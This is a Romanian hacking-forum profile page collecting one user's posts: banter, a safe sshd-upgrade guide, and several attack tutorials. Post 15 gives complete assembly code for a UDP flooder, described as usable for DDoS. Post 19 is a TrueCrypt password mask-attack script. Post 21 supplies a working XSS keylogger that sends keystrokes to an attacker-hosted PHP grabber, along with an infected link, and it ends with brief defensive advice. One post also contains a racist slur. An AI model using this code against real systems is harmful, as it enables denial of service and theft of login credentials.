Jump to content

c0unt3rlog1c

Active Members
  • Posts

    77
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by c0unt3rlog1c

  1. @.Slacker S-a gasit cine sa comenteze .. ON: Nope.
  2. Pai da, le faci cum scrie si acolo..

  3. Da de cand suntem noi forum de "hec" ?
  4. Shipping and handling: €5.00 Imi trimiti si o pizda acasa, sau de ce e shippingul 5.00$ ?
  5. Te pot ajuta eu cu designul siteului, daca mai esti interesat.
  6. @oul Dupa limbaj, parca presimt ca ai sa ii copii CV-ul lui ps-axl mot a mot. ON: Eu zic sa te axezi pe programare .
  7. Auzi la el, motive de "anonimitate". Stai chill, mai James Bond.
  8. Eu as pune-o sa munceasca pe plantatii, ca negrii.
  9. Pe naiba, am comandat acum 3 luni si nici acum nu am venit.
  10. Introducere Multe dintre distributiile de linux vin cu daemonul OpenSSH preinstalat. OpenSSH este un inlocuitor pentru rlogniuri, rsh, rcp, ftp, x11 si protocoale telnet care nu ofera encriptie si prezinta multe vulnerabilitati, precum posibilitatea de a face hijacking sesiunii, ip spoofing si alte atacuri. OpenSSH de asemenea are optiunea de a face port forwarding encriptat, o unealta necesara de multe ori. Oricine cunoaste notiunile de securitate stie ca ar fi trebuit sa renunte de mult la telnet si sa se axeze doar pe loginuri ssh. Problema apare, insa, atunci cand trebuie sa upgradati daemonul ssh. Daca masina dumneavoastra este la mile distanta si poate fi accesata doar prin acces SSH, ultimul lucru care ati dori sa se intample e ca sshd-ul sa se strice in timpul upgradeului. Majoritatea dintre voi nu realizati ca puteti omora procesul serverului sshd (cel care primeste conexiunile), chiar fara a omora alte conexiuni deja existente. Asta inseamna ca va puteti loga, omora procesul serverului dar continua munca pana cand va delogati. In schimb, majoritatea dintre voi cred ca aveti nevoie sa faceti upgrade si apoi sa dati reboot pentru ca schimbarile sa aiba efect. Procedura urmatoare este foarte "paranoida" , asta doar pentru a fi sigur ca totul decurge conform planului. Procesul in sine Voi asuma ca fisierele ssh sunt in directorul /etc/ssh , iar binaryul sshd este locat in /usr/sbin . 1. Faceti o copie a daemonului sshd curent pe portul 9999 . server# mkdir /root/ssh-whoops server# cd /root/ssh-whoops server# cp -p /etc/ssh/* /usr/sbin/sshd . server# /root/ssh-whoops/sshd -p 9999 -f /root/ssh-whoops/sshd_config 2. Conectati-va la masina pe acest port de cateva ori pentru a va asigura ca functioneaza, si pastrati cateva sesiuni de login in cazul in care se vor intampla lucruri rele pe parcurs. home$ ssh MACHINE -p 9999 home$ ssh MACHINE -p 9999 home$ ssh MACHINE -p 9999 home$ (repetati pana cand sunteti satisfacuti) 3. Upgradati serverul prin una din urmatoarele metode, dupa preferinte : server# rpm -F ... sau server# apt-get update && apt-get upgrade sau server# ./configure && make && make install 4. Gasiti id-ul procesului sshd . server# ps -ef | grep sshd root 10283 12684 0 Feb05 ? 00:00:05 /usr/sbin/sshd root 12684 1 0 Dec03 ? 00:01:21 /usr/sbin/sshd root 15446 1 0 4:15 ? 00:00:00 /usr/sbin/sshd -p 9999 -f ... root 15846 15446 0 4:16 ? 00:00:00 /usr/sbin/sshd -p 9999 -f ... root 15850 15446 0 4:16 ? 00:00:00 /usr/sbin/sshd -p 9999 -f ... root 16748 12684 0 Feb25 ? 00:00:00 /usr/sbin/sshd P.S: Procesul care il cautati va fi pentru daemon (ex. PPID = 1), cel care *nu* ruleaza cu argumentele '-p 9999'.In lista de mai sus, procesul este #12684 . 5. Omorati procesul sshd . server# kill 12684 6. Deschideti noul daemon ssh (imi voi asuma ca l-ati instalat in /usr/sbin, unde era instalat originalul). server# /usr/sbin/sshd 7. Logati-va si sperati ca totul a iesit bine. home$ ssh -v MACHINE 8. Asigurati-va vedeti versiunea dorita in outputul debuggingului. De exemplu, daca ati updatat la 5.8 , ar trebui sa vedeti o linie ca si urmatoarea: Remote protocol version 1.99, remote software version OpenSSH_5.8 Note Versiunile mai vechi de OpenSSH 1.x nu pot fi upgradate in acest mod. Multumesc pentru ca ati citit!
  11. @TOpoGAN Pai stiu, dar sunt pe net destule tutoriale C, eu am zis sa fac ceva mai diferit. @tex Imi explici si mie cum sta treaba defapt? Ma cam depaseste .
  12. @tex Am mai citit si acum si tot nu imi pica fisa. 1 - 0 pentru tine.
  13. Cred ca m-ai prins de data asta. Permite-mi sa-ti raspund maine la intrebare, ca acum ma cheama patul.
  14. Pai, motivul vine cam asa. AF vine de la Adress Family, iar PF de la Protocol Family. Prin urmare, AF identifica o colectie de protocoale cu acelasi format, in timp ce PF le identifica pe cele cu aceeasi arhitectura. Ai putea modifica , dar AF_INET e pentru adrese IP, iar PF_INET e pentru IP, TCP/IP si UDP/IP . Sper ca am inteles bine intrebarea .
  15. Introducere Assembly (ASM) e considerat unul din limbajele de programare mai limitate, mici. Beneficiile acestuia sunt timpul mai mic de executie, binaryuri mai mici si limitele neexistente. Aproape orice software de computer poate fi codat in ASM dar asta ar dura mai mult timp decat intr-un limbaj mai mare precum C++ . In acest tutorial va voi explica cum sa creeati si compilati un simplu flooder UDP pentru sistemele Windows. UDP Flooder Codul de mai jos e un flooder UDP, poate fi folosit pentru a "stresa" un remote server, sau pentru un atac DDOS. Pentru a folosi acest cod, modificati iSleep, sPort si sHost cu cele specifice si compilatile cu FASM . El va genera un executabil de 2KB care cand va fi pornit va trimite in continuu AAAAAA... Pachetele vor fi trimise catre host fara oprire pana cand va aparea o eroare. format PE console 4.0 include 'include\win32a.inc' section '.data' data readable writeable ; Timpul dintre pachete iSleep equ 500d ; Portul destinatar sPort equ 2750d ; Hostul destinatar sHost db 'remotehost',0 ; Pachetul ce va fi trimis sPacket db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA',0 sPacketl = $ - sPacket sock dd ? sin_addr dd ? sin_port dd ? saddr sockaddr_in wsadata WSADATA section '.code' code readable executable start: invoke WSAStartup, 0202h, wsadata ; Declararea socketului UDP invoke socket, AF_INET, SOCK_DGRAM, 17 ;IPPROTO_UDP = 17 mov [sock], eax mov [saddr.sin_family], AF_INET ; Selectarea portului invoke htons, sPort mov [saddr.sin_port], ax ; Selectarea IPului invoke gethostbyname, sHost mov eax, [eax+12] mov eax, [eax] mov eax, [eax] mov [saddr.sin_addr], eax ; Startul trimiterii de pachete .loop: invoke sendto, [sock], sPacket, sPacketl, 0, saddr,sizeof.sockaddr_in cmp eax, 0 je exit invoke Sleep, iSleep jmp .loop ; alte chestii exit: invoke closesocket, [sock] invoke WSACleanup invoke ExitProcess,0 section '.idata' import data readable writeable library kernel,'KERNEL32.DLL',\ winsock,'WSOCK32.DLL' import kernel,\ ExitProcess,'ExitProcess',\ Sleep,'Sleep' import winsock,\ WSAStartup,'WSAStartup',\ WSACleanup,'WSACleanup',\ socket,'socket',\ sendto,'sendto',\ inet_addr,'inet_addr',\ htons,'htons',\ closesocket,'closesocket',\ gethostbyname,'gethostbyname' Alte informatii Codul de mai sus este destul de simplu dar nu poate avea erori, ar trebui totusi ca mereu sa comparati eax cu 0 dupa fiecare functie pe care o chemati inainte de a continua. Aplicatia ar putea fi imbunatatita adaugat MultiThreadSupport folosind CreateThread. Multumesc pentru ca ati citit.
  16. @wildchild Frecventam de ceva timp forumul, ca Guest, si am observat ce fel de specimene sunt pe aici. @tex Mihai .
  17. Assembly (ASM) e considerat unul din limbajele de programare mai limitate, mici. Beneficiile acestuia sunt timpul mai mic de executie, binaryuri mai mici si limitele neexistente. Aproape orice software de computer poate fi codat in ASM dar asta ar dura mai mult timp decat intr-un limbaj mai mare precum C++ . Primul exemplu este cipherul Caesar, una din cele mai simple metode de criptare. E reprezentat printr-un cipher de inlocuire unde fiecare litera din mesaj este inlocuita de numarul specific literii din alfabet, in ordine crescatoare. Al doilea este cipherul Vigenere, unde metoda de encriptare a textului este folosirea unor serii diferite de cipheruri Caesar bazate pe o litera dintr-un cuvant. E o simpla metoda de inlocuire polialfabetica. Am modificat acesti algoritimi pentru a putea crypta un byte si , de asemenea, am implementat o versiune simpla in limbajul Assembly prin FASM. Aceste coduri pot fi folosite pentru a ascunde mesaje sau a cripta fisiere. Cipherul ASM Caesar M-am folosit de urmatorul algoritm bazat pe cipherul Caesar pentru a crypta niste bytes. crypted[i] = (text[i] + key) MOD 256 text[i] = (crypted[i] + key) MOD 256 Acum va voi arata un exemplu unde am simplificat codul pentru a crypta doar 1 byte, in ideea de a il face mai usor de inteles, pentru a crypta un string intreg el devine mai complicat. format PE entry EntryPoint EntryPoint: ; Curatarea registrilor xor eax, eax xor ebx, ebx ; Metoda de criptare ; 5Ah e byteul care dorim sa il criptam ; 80h este cheia ce o vom folosi mov al, 5Ah add al, 80h mov bx, 100h xor edx, edx idiv bx ; Byteul nostru criptat este acum dl ; Metoda de decriptare ; dl este byteul ce dorim sa decriptam iar valoarea lui este DAh ; 80h este cheia ce o vom folosi mov ax, dx sub al, 80h mov bx, 100h xor edx, edx idiv bx ; Byteul nostru decriptat este acum 5Ah ret Cipherul ASM Vegenere De data aceasta va voi arata doar algoritmul de criptare, excluzand codul, cred ca il puteti face si singuri. crypted[i] = (text[i] + key[i]) MOD 256 text[i] = (crypted[i] + key[i]) MOD 256 Alte informatii S-ar putea sa updatez postul cu mai multi cipheri, faceti un bookmark daca vreti. Multumesc pentru ca ati citit.
  18. @tex Salut. Eu sunt c0unt3rlog1c . Bucuros de cunostinta. @ps-axl Si eu te iubesc .
  19. Introducere TrueCrypt e un software open-source pentru encriptarea datelor de pe diskuri, folosit pe mai multe platforme (Windows, Mac , Linux). Eu il folosesc pentru a imi encripta proiectele pe volume mici de fisiere. Din pacte, mai de mult am pierdut una dintre parolele mele din truecrypt care era formata din 20 de caractere Alpha + numerice + caractere speciale. Stiam aproximativ care erau caracterele din parola si ordinea lor, dar nu eram sigur in legatura cu 8 dintre ele, ceea ce reprezenta o multime de posibilitati. Dupa ce am incercat cateva combinatii devenise destul de enervant, deci am inceput sa caut un cracker pentru parole truecrypt dar nu am reusit sa gasesc unul care sa functioneze. Atata timp cat nu voiam sa incep un bruteforce pentru o parola lunga de 20 de caractere, am decis sa scriu un mic script in ptyhon, nimic interesant. Asadar, in tutorialul de azi am sa va explicat cum sa recuperati o parola TrueCrypt printr-un attack mask prin itertools din python. Pregatiri In primul rand, voiam sa aflu daca functioneaza in command line, raspunsul fiind "da", toate informatiile necesare le-am gasit aici. Comanda folosita pentru a deschide un volum truecrypt este: TrueCrypt.exe /v cryptedvolume /lx /a /p rstcenter /e /b /s /q Aceasta comanda incearca sa decripteze si monteze volumul numit cryptedvolume in virtual drive-ul X:\ cu parola rstcenter. Daca reuseste, va deschide driveul in explorer. Argumentele \s si \q sunt necesare pentru a scapa de casetele de confirmare si pentru a iesi din procesul truecrypt . Coding Acum trebuie sa cream snippetul de atac. Am decis sa folosesc python pentru ca e un limbaj usor de folosit in astfel de cazuri. import os, sys, itertools expression = [['C0unt3r'], ['lo', 'l0','Lo', 'L0'], ['g1c', 'gic']] # Demontare X: os.system("\"C:\\Program Files\\TrueCrypt\\TrueCrypt.exe\" /lx /d /s /q"); # Incercarea de combinatii for x in itertools.product(*expression): os.system("\"C:\\Program Files\\TrueCrypt\\TrueCrypt.exe\" /v C:\\Users\\c0unt3rlog1c\\crypted_volume /lx /a /p " + ''.join(x) + " /e /b /s /q"); if os.path.exists("x:\\"): print 'Password Found : '+ ''.join(x) sys.exit(0) In exemplul de mai sus, el va incerca urmatoarele combinatii: Viteza generala este de 8-9 parole pe secunda, ceea ce e destul de incet in cazul unor parole lungi. Multumesc pentru ca ati citit.
  20. @tex Care din ei? Ca sunt multi .
  21. Introductie XSS este una din cele mai intalnite vulnerabilitati web, atacurile XSS sunt de obicei ignorate de administratorii care nu stiu in cat de multe moduri se poate exploata aceasta vulnerabilitate. In acest tutorial va voi explica cum sa faceti un keylogger pe un site vulnerabil. In cele mai multe cazuri, atacatorul fura cookieul victimei pentru ii accesa contul fara un username sau o parola. Acum imaginati-va ca atacatorul are nevoie sa faca rost de usernameul sau parola victimei, pentru cauze ce nu trebuie explicate, in acest caz trebuie capturata fiecare tasta ce a fost scrisa pe pagina de login. Javascript Keylogger Codul de mai jos este un keylogger Javascript, el captureaza toate cuvintele scrise pe o pagina si le trimite remote unui script PHP odata la cateva secunde. Schimbati localhost cu cu hostnameul serverului si locatia specifica. var keys=''; document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCode:get.charCode; key = String.fromCharCode(key); keys+=key; } window.setInterval(function(){ new Image().src = 'http://localhost/demo/keylogger.php?c='+keys; keys = ''; }, 1000); PHP Grabber Codul de mai jos va primi si salva toate datele trimise de catre keylogger. <?php if(!empty($_GET['c'])) { $logfile = fopen('data.txt', 'a+'); fwrite($logfile, $_GET['c']); fclose($logfile); } ?> Exploatare Acum atacatorul are ambele fisiere keylogger.php si keylogger.js pe un remote host. El va trebui sa creeze un link infectat, precum acesta: http://target/path/vulnpage.php?article=9<script src="http://attacker/keylogger/keylogger.js"></script> Atacatorul poate trimite linkurile ca acesta victimei, daca victima nu observa URI-ul ciudat si se logheaza cu usernameul si parola, datele vor fi salvate in fisierul 'data.txt' pe serverul remote al atacatorului. Protejare Exista mai multe solutii pentru a fixa un cod vulnerabil la XSS. Folositi-va de functia PHP htmlspecialchars(), care previne folosirea de caractere precum < ' / etc , transformandu-le in coduri html nefolositoare. Nu trimiteti direct niciodata o variabila GET/POST/COOKIE, prin care atacatorul poate injecta coduri in pagina. Asta a fost tot legat de subiectul xss keylogging, multumesc pentru ca ati citit.
×
×
  • Create New...